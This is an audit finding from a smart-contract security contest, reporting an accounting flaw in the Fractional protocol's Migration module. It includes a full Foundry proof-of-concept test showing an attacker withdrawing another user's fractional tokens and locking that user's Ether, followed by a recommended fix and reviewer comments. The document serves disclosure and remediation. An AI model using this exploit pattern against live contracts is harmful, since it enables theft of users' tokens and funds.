Faulty accounting in Migration module allows theft of fractional tokens and loss of Ether

[code423n4]

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L49

Vulnerability details

Impact

The variable userProposalFractions in the contract Migration accounts the fractions provided for a proposal id globally, instead of accounting it for a combination of id + specific vault. That means if Bob provides his A-tokens for proposal #1 of A-Vault and Eve provides her E-Tokens (which she can mint out of thin air) for proposal #1 of her E-Vault, Eve is able to withdraw A-Tokens that originally belonged to Bob. Furthermore Bob will not be able to withdraw his Ether provided for the proposal as the attempt will revert due to lack of A-Tokens in the migration contract.

Proof of Concept

The following code follows the initial setup of Migration.t.sol and expands on it to show how the exploit works:

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.13;

import "./TestUtil.sol";

// forge test -vvv --match-path test/WithdrawMigrationExploit.t.sol

contract WithdrawMigrationExploit is TestUtil {

    Vault evesVault;
    address eveAddress;
    address registryFERCAddr;

    function setUp() public {

        // ===== Migration.t.sol -> setup() ======

        setUpContract();
        alice = setUpUser(111, 1);
        bob = setUpUser(222, 2);

        vm.label(address(this), "MigrateTest");
        vm.label(alice.addr, "Alice");
        vm.label(bob.addr, "Bob");

        // ===== Migration.t.sol -> testJoin() ======

        initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (just to test out migration)
        address[] memory modules = new address[](1);
        modules[0] = address(mockModule);
        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        // Bob joins the proposal
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, HALF_SUPPLY);

        // ====== getting the address of the FERC token and verifying id of alices vault token ======
        uint256 aliceTokenId;
        (registryFERCAddr, aliceTokenId) = registry.vaultToToken(vault);
        console.log("token id of alices vault");
        console.log(aliceTokenId);
    }

    function testMigrationExploit() external {

        eveAddress = vm.addr(0xE4E);
        vm.label(eveAddress, "Eve");
        vm.deal(eveAddress, 100 ether);

        vm.startPrank(eveAddress);

        console.log("eves balance for tokens of alices vault (id 1), before exploit:");
        console.log(FERC1155(registryFERCAddr).balanceOf(eveAddress, 1));

        evesVault = Vault(payable(registry.createFor(
            merkleRoot,
            eveAddress,
            nftReceiverPlugins,
            nftReceiverSelectors
        )));

        bytes memory data = abi.encodeCall(
            Supply.mint,
            (eveAddress, HALF_SUPPLY)
        );
        Vault(payable(evesVault)).execute(address(supplyTarget), data, mintProof);

        console.log("eves balance for tokens of eves vault (id 2), after minting her own tokens:");
        console.log(FERC1155(registryFERCAddr).balanceOf(eveAddress, 2));
        console.log("eves balance for tokens of alices vault (id 1), after minting her own tokens:");
        console.log(FERC1155(registryFERCAddr).balanceOf(eveAddress, 1));

        migrationModule.propose(
            address(evesVault),
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        FERC1155(registryFERCAddr).setApprovalFor(address(migrationModule), 2, true);

        migrationModule.join(address(evesVault), 1, HALF_SUPPLY);

        migrationModule.leave(vault, 1);

        //alice now owns bobs 5000 fractional tokens
        console.log("eves balance for tokens of alices vault (id 1), after exploit:");
        console.log(FERC1155(registryFERCAddr).balanceOf(eveAddress, 1));

        vm.stopPrank();

        //assert that Bob cant leave the proposal anymore, because there are not enough tokens left, his Eth are lost (for him at least)
        vm.expectRevert(stdError.arithmeticError);
        bob.migrationModule.leave(vault, 1);
    }

}

Tools Used

• Foundry

Recommended Mitigation Steps

Similarly to the mapping migrationInfo in Migration.sol the mapping for userProposalFractions needs vault addresses as a first key:

/// @notice Mapping of a vault address to a mapping of proposal ids to user's fractions contribution
    mapping(address => mapping(uint256 => mapping(address => uint256)))
        private userProposalFractions;

The same needs to apply to userProposalEth, else the accounting will be wrong and cause errors when there are multiple simultaneous migration proposals.

[Ferret-san]

This is not a duplicate, since the underlying issue is different (this one points out an error in the accounting of userProposalFractions, while #441 points to an accounting error in the tally of a proposal as a whole.

[HardlyDifficult]

Dupe https://github.com/code-423n4/2022-07-fractional-findings/issues/326